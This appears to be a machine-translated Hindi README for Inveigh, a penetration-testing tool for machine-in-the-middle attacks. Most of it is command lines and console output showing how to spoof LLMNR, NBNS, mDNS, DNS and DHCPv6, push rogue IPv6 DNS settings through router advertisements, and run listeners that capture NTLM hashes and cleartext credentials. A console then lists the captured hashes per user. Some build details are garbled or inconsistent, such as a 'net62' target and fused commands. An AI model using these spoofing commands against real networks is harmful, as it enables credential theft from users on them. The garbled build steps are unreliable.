
.NET IPv4/IPv6 machine-in-the-middle उपकरण, पैठ परीक्षकों के लिए
Inveigh एक क्रॉस-प्लेटफ़ॉर्म .NET IPv4/IPv6 मशीन-इन-द-मिडल टूल है जो पेनिट्रेशन टेस्टरों के लिए है। इस रेपो में मुख्य C# संस्करण और लीगेसी PowerShell संस्करण दोनों शामिल हैं।
Inveigh पैकेट स्निफिंग और प्रोटोकॉल-विशिष्ट लिसनर/सॉकेट दोनों के माध्यम से स्पूफिंग हमले और हैश/क्रेडेंशियल कैप्चर करता है। पैकेट स्निफिंग विधि, जो इस टूल के मूल PowerShell संस्करण का आधार थी, के निम्नलिखित लाभ हैं:
मुख्य नुकसान आवश्यक एलिवेटेड एक्सेस है।
विंडोज के वर्तमान संस्करणों पर, डिफ़ॉल्ट रूप से चलने वाली UDP सेवाएं पोर्ट पुन: उपयोग की अनुमति देती हैं। इसलिए, पैकेट स्निफिंग अब उपयोग में UDP पोर्ट से बचने का लाभ प्रदान नहीं करती है। Inveigh के सभी UDP लिसनर पोर्ट पुन: उपयोग का लाभ उठाने के लिए कॉन्फ़िगर किए गए हैं।
Inveigh के C# संस्करण में निम्नलिखित प्रोटोकॉल के लिए हमले शामिल हैं:
Inveigh उन मामलों में IPv4 और IPv6 दोनों के साथ काम करता है जहां अंतर्निहित प्रोटोकॉल दोनों का समर्थन प्रदान करता है।
Inveigh का SDK शैली प्रोजेक्ट फ़ाइल .NET 3.5, 4.6.2 और 6.0 के लिए सेटअप है, जिसमें 6.0 वह संस्करण है जो Linux और macOS के साथ भी काम करता है।
<TargetFrameworks>net35;net62;net6.0</TargetFrameworks>
sudo route -nv add -net ff02::1:2 -interface en0dotnet Inveigh.dll
लक्ष्य सिस्टम पर .NET 6.0 स्थापित होने पर
dotnet publish -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
dotnet publish -r osx-x64 -f net8.0 -p:AssemblyName=inveigh
लक्ष्य सिस्टम पर .NET 6.0 स्थापित न होने पर
dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net8.0 -p:AssemblyName=inveigh
डिफ़ॉल्ट पैरामीटर मान Program.cs की शुरुआत में स्थित हैं। मैं संकलन से पहले सब कुछ समीक्षा करने और अपनी आवश्यकताओं के अनुसार सेट करने की सलाह देता हूं। सभी सक्षम/अक्षम पैरामीटर Y/N मानों के साथ सेट किए जा सकते हैं।```
//begin parameters - set defaults as needed before compile
public static string argCert = "MIIKaQIBAzCCC..."
public static string argCertPassword = "password";
public static string argChallenge = "";
public static string argConsole = "5";
public static string argConsoleLimit = "-1";
public static string argConsoleStatus = "0";
public static string argConsoleUnique = "Y";
public static string argDHCPv6 = "N";
public static string argDHCPv6TTL = "30";
public static string argDNS = "Y";
...
//end parameters
### पैरामीटर सहायता```
.\Inveigh.exe -?
Control:
-Inspect Default=Disabled: (Y/N) inspect traffic only.
-IPv4 Default=Enabled: (Y/N) IPv4 spoofing/capture.
-IPv6 Default=Enabled: (Y/N) IPv6 spoofing/capture.
-RunCount Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.
-RunTime Default=Unlimited: Run time duration in minutes.
Output:
-Console Default=5: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no disabled, no informational, 3=no disabled, no filtered, 4=no disabled, 5=all)
-ConsoleLimit Default=Unlimited: Limit to queued console entries.
-ConsoleStatus Default=Disabled: Interval in minutes for auto-displaying capture details.
-ConsoleUnique Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.
-FileDirectory Default=Working Directory: Valid path to an output directory for enabled file output.
-FileOutput Default=Enabled: (Y/N) real time file output.
-FilePrefix Default=Inveigh: Prefix for all output files.
-FileUnique Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.
-LogOutput Default=Disabled: (Y/N) outputting log entries.
Spoofers:
-DHCPV6 Default=Disabled: (Y/N) DHCPv6 spoofing.
-DHCPv6TTL Default=300: Lease lifetime in seconds.
-DNS Default=Enabled: (Y/N) DNS spoofing.
-DNSHost Fully qualified hostname to use SOA/SRV responses.
-DNSSRV Default=LDAP: Comma separated list of SRV request services to answer.
-DNSSuffix DNS search suffix to include in DHCPv6/ICMPv6 responses.
-DNSTTL Default=30: DNS TTL in seconds.
-DNSTYPES Default=A: (A, AAAA, SOA, SRV) Comma separated list of DNS types to spoof.
-ICMPv6 Default=Enabled: (Y/N) sending ICMPv6 router advertisements.
-ICMPv6Interval Default=200: ICMPv6 RA interval in seconds.
-ICMPv6TTL Default=300: ICMPv6 TTL in seconds.
-IgnoreDomains Default=None: Comma separated list of domains to ignore when spoofing.
-IgnoreIPs Default=Local: Comma separated list of source IP addresses to ignore when spoofing.
-IgnoreMACs Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.
-IgnoreQueries Default=None: Comma separated list of name queries to ignore when spoofing.
-Local Default=Disabled: (Y/N) performing spoofing attacks against the host system.
-LLMNR Default=Enabled: (Y/N) LLMNR spoofing.
-LLMNRTTL Default=30: LLMNR TTL in seconds.
-MAC Local MAC address for DHCPv6.
-MDNS Default=Enabled: (Y/N) mDNS spoofing.
-MDNSQuestions Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)
-MDNSTTL Default=120: mDNS TTL in seconds.
-MDNSTypes Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)
-MDNSUnicast Default=Enabled: (Y/N) sending a unicast only response to a QM request.
-NBNS Default=Disabled: (Y/N) NBNS spoofing.
-NBNSTTL Default=165: NBNS TTL in seconds.
-NBNSTypes Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)
-ReplyToDomains Default=All: Comma separated list of domains to respond to when spoofing.
-ReplyToIPs Default=All: Comma separated list of source IP addresses to respond to when spoofing.
-ReplyToMACs Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.
-ReplyToQueries Default=All: Comma separated list of name queries to respond to when spoofing.
-SpooferIP Default=Autoassign: IP address included in spoofing responses.
-SpooferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
-Repeat Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.
Capture:
-Cert Base64 certificate for TLS.
-CertPassword Base64 certificate password for TLS.
-Challenge Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.
-HTTP Default=Enabled: (Y/N) HTTP listener.
-HTTPAuth Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.
-HTTPPorts Default=80: Comma seperated list of TCP ports for the HTTP listener.
-HTTPRealm Default=ADFS: Basic authentication realm.
-HTTPResponse Content to serve as the default HTTP/HTTPS/Proxy response.
-HTTPS Default=Enabled: (Y/N) HTTPS listener.
-HTTPSPorts Default=443: Comma separated list of TCP ports for the HTTPS listener.
-IgnoreAgents Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad and proxy auth.
-LDAP Default=Enabled: (Y/N) LDAP listener.
-LDAPPorts Default=389: Comma separated list of TCP ports for the LDAP listener.
-ListenerIP Default=Any: IP address for all listeners.
-ListenerIPv6 Default=Any: IPv6 address for all listeners.
-MachineAccount Default=Enabled: (Y/N) machine account NetNTLM captures.
-Proxy Default=Disabled: (Y/N) proxy listener authentication captures.
-ProxyAuth Default=NTLM: (Basic/NTLM) Proxy authentication.
-ProxyPort Default=8492: Port for the proxy listener.
-SMB Default=Enabled: (Y/N) SMB sniffer/listener.
-SMBPorts Default=445: Port for the SMB listener.
-SnifferIP Default=Autoassign: IP address included in spoofing responses.
-SnifferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
-WebDAV Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.
-WebDAVAuth Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.
-WPADAuth Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)
-WPADResponse Default=Autogenerated: Contents of wpad.dat responses.
.\Inveigh.exe [] Inveigh 2.0 [Started 2021-06-15T00:08:37 | PID 12588] [+] Packet Sniffer Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Listener Addresses [IP 0.0.0.0 | IPv6 ::] [+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Spoofer Options [Repeat Enabled | Local Attacks Disabled] [-] DHCPv6 [+] DNS Packet Sniffer [Type A] [-] ICMPv6 [+] LLMNR Packet Sniffer [Type A] [-] MDNS [-] NBNS [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80] [-] HTTPS [+] WebDAV [WebDAVAuth NTLM] [-] Proxy [+] LDAP Listener [Port 389] [+] SMB Packet Sniffer [Port 445] [+] File Output [C:\Users\dev\source\repos\Inveigh\Inveigh\bin\Debug\net35] [+] Previous Session Files [Imported] [] Press ESC to enter/exit interactive console
### केवल श्रोता मोड (अक्षम पैकेट स्निफर)```
.\Inveigh.exe -sniffer n
[*] Inveigh 2.0 [Started 2021-06-14T10:48:16 | PID 20368]
[-] Packet Sniffer
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[-] DHCPv6
[+] DNS Listener [Type A]
[-] ICMPv6
[+] LLMNR Listener [Type A]
[-] MDNS
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Listener [Port 445]
[+] File Output [C:\Users\dev\source\repos\InveighZero\Inveigh\bin\Debug\net35]
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
[!] Failed to start SMB listener on port 445, check IP and port usage.
[!] Failed to start SMB listener on port 445, check IP and port usage.
नोट, पैकेट स्निफर अक्षम होने पर, Inveigh IPv4 और IPv6 के लिए SMB लिसनर शुरू करने का प्रयास करेगा। अधिकांश विंडोज सिस्टम पर, पोर्ट 445 पहले से ही उपयोग में होगा। या तो त्रुटि को अनदेखा करें या -smb n जोड़ें।
DHCPv6 स्पूफर और IPv6 DNS स्पूफर प्रारंभ करें। नोट, DNS डिफ़ॉल्ट रूप से चालू है।``` .\Inveigh.exe -dhcpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] ... [+] [23:03:06] DHCPv6 [solicitation] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] advertised to [00:0C:29:F0:6E:16] [+] [23:03:06] DHCPv6 [request] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] leased to [00:0C:29:F0:6E:16]
DHCPv6 spoofer शुरू करें और केवल internal domain के लिए DNS requests को spoof करें।```
.\Inveigh.exe -dhcpv6 y -replytodomains lab.inveigh.org
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[-] [23:10:30] DNS(A) request [test.inveigh.org] from fe80::6142:1%2 [domain ignored]
[+] [23:10:33] DNS(A) request [wpad.lab.inveigh.org] from fe80::6142:1%2 [response sent]
DHCPv6 स्पूफ़र शुरू करें और ICMPv6 RA पैकेट भी भेजें।``` .\Inveigh.exe -dhcpv6 y -icmpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] [+] ICMPv6 Router Advertisement [Interval 200 Seconds] ... [+] [23:12:04] ICMPv6 router advertisment sent to [ff02::1]
DHCPv6 spoofer प्रारंभ करें और स्थानीय होस्ट से अनुरोधों का उत्तर दें।```
.\Inveigh.exe -dhcpv6 y -local y
...
[+] Spoofer Options [Repeat Enabled | Local Attacks Enabled]
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
A के अलावा SRV अनुरोधों को भी नकली बनाएं।``` .\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org ... [+] DNS Listener [Types A:SRV] ... [+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._msdcs.lab.inveigh.org] from fe80::242d:f99e:7534:b46f%2 [response sent]
### <a name="ICMPv6"></a>ICMPv6
ICMPv6 पैकेट भेजकर स्थानीय सबनेट सिस्टम पर द्वितीयक IPv6 DNS सर्वर इंजेक्ट करें।```
.\Inveigh.exe -icmpv6 y
...
[+] ICMPv6 Router Advertisement [Option DNS | Interval 200 Seconds]
...
[+] [23:35:46] ICMPv6 router advertisement with DNSv6 sent to [ff02::1]
स्थानीय सबनेट सिस्टम पर एक अतिरिक्त DNS खोज सफिक्स इंजेक्ट करने के लिए ICMPv6 पैकेट भेजें।``` .\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net ... [+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval 200 Seconds] ... [+] [23:41:17] ICMPv6 router advertisement with DNS Suffix sent to [ff02::1]
### <a name="LLMNR"></a>LLMNR
A के बजाय AAAA अनुरोधों को स्पूफ़ करें।```
.\Inveigh.exe -llmnrtypes AAAA
...
[+] LLMNR Listener [Type AAAA]
...
[-] [23:23:38] LLMNR(A) request [test] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
[-] [23:23:38] LLMNR(A) request [test] from 10.10.2.201 [type ignored]
[+] [23:23:38] LLMNR(AAAA) request [test] from 10.10.2.201 [response sent]
[+] [23:23:38] LLMNR(AAAA) request [test] from fe80::bd92:a800:60d0:8deb%2 [response sent]
mDNS स्पूफ़र प्रारंभ करें और QM अनुरोधों पर यूनिकास्ट प्रतिक्रियाएँ भेजें।``` .\Inveigh.exe -mdns y ... [+] MDNS Listener [Questions QU:QM | Type A] ... [+] [23:25:58] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent] [+] [23:25:58] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from 10.10.2.201 [type ignored] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
mDNS spoofer प्रारंभ करें और QM अनुरोधों पर मल्टीकास्ट प्रतिक्रियाएँ भेजें।```
.\Inveigh.exe -mdns y -mdnsunicast n
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:28:26] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent]
[+] [23:28:26] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent]
NBNS spoofer शुरू करें``` .\Inveigh.exe -nbns y ... [+] NBNS Listener [Types 00:20] ... [+] [23:33:09] NBNS(00) request [TEST] from 10.10.2.201 [response sent]
### <a name="HTTP"></a>HTTP
पोर्ट 80 पर HTTP listener शुरू करें (डिफ़ॉल्ट रूप से सक्षम)```
.\Inveigh.exe
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
...
एकाधिक पोर्ट पर HTTP लिसनर प्रारंभ करें``` .\Inveigh.exe -httpports 80,8080 ... [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Ports 80:8080] ...
### <a name="HTTPS"></a>HTTPS
HTTPS listener को port 443 पर Inveigh के डिफ़ॉल्ट प्रमाणपत्र के साथ शुरू करें```
.\Inveigh.exe -https y
...
[+] HTTPS Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 443]
...
SMB पैकेट स्निफ़र शुरू करें (डिफ़ॉल्ट रूप से सक्षम)``` .\Inveigh.exe ... [+] SMB Packet Sniffer [Port 445] ...
पोर्ट 445 पर SMB लिसनर प्रारंभ करें```
.\Inveigh.exe -sniffer n
...
[+] SMB Listener [Port 445]
...
पोर्ट 389 पर LDAP लिसनर प्रारंभ करें``` .\Inveigh.exe ... [+] LDAP Listener [Port 389] ...
### <a name="WebDAV"></a>WebDAV
HTTP लिसनर को WebDAV समर्थन के साथ प्रारंभ करें (डिफ़ॉल्ट रूप से सक्षम)```
.\Inveigh.exe
...
[+] WebDAV [WebDAVAuth NTLM]
...
पोर्ट 8492 पर प्रॉक्सी प्रमाणीकरण कैप्चर सक्षम करें``` .\Inveigh.exe -proxy y ... [+] Proxy Listener [ProxyAuth NTLM | Port 8492] ...
## Console
Inveigh में एक कंसोल है जो टूल चलने के दौरान सुलभ है (प्रवेश और बाहर निकलने के लिए escape दबाएं)। कंसोल कैप्चर किए गए क्रेडेंशियल/हैश और अन्य विभिन्न जानकारी तक आसान पहुँच प्रदान करता है। कंसोल का प्रॉम्प्ट क्लियरटेक्स्ट, NTLMv1, और NTLMv2 कैप्चर गणनाओं के लिए वास्तविक समय अपडेट प्रदान करता है, unique:total के प्रारूप में। ध्यान दें, C2 के माध्यम से चलने पर कंसोल अप्राप्य हो सकता है।
### Interactive Console Help - ? या HELP दर्ज करें```
=============================================== Inveigh Console Commands ===============================================
Command Description
========================================================================================================================
GET CONSOLE | get queued console output
GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
GET LOG | get log entries; add search string to filter results
GET NTLMV1 | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2 | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results
GET NTLMV1USERNAMES | get usernames and source IPs/hostnames for captured NTLMv1 hashes
GET NTLMV2USERNAMES | get usernames and source IPs/hostnames for captured NTLMv2 hashes
GET CLEARTEXT | get captured cleartext credentials
GET CLEARTEXTUNIQUE | get unique captured cleartext credentials
GET REPLYTODOMAINS | get ReplyToDomains parameter startup values
GET REPLYTOIPS | get ReplyToIPs parameter startup values
GET REPLYTOMACS | get ReplyToMACs parameter startup values
GET REPLYTOQUERIES | get ReplyToQueries parameter startup values
GET IGNOREDOMAINS | get IgnoreDomains parameter startup values
GET IGNOREIPS | get IgnoreIPs parameter startup values
GET IGNOREMACS | get IgnoreMACs parameter startup values
GET IGNOREQUERIES | get IgnoreQueries parameter startup values
SET CONSOLE | set Console parameter value
HISTORY | get command history
RESUME | resume real time console output
STOP | stop Inveigh
कंसोल प्रॉम्प्ट में रीयल टाइम कैप्चर गणनाएँ होती हैं।``` C(0:0) NTLMv1(0:0) NTLMv2(0:0)>
Cleartext(unique:total) NTLMv1(unique:total) NTLMv2(unique:total)
## Quiddity
Inveigh द्वारा उपयोग की जाने वाली प्रोटोकॉल लाइब्रेरी [यहाँ](https://github.com/Kevin-Robertson/Quiddity) स्थित है।
## विशेष धन्यवाद
* Responder - https://github.com/lgandx/Responder
* Impacket - https://github.com/SecureAuthCorp/impacket
* mitm6 - https://github.com/fox-it/mitm6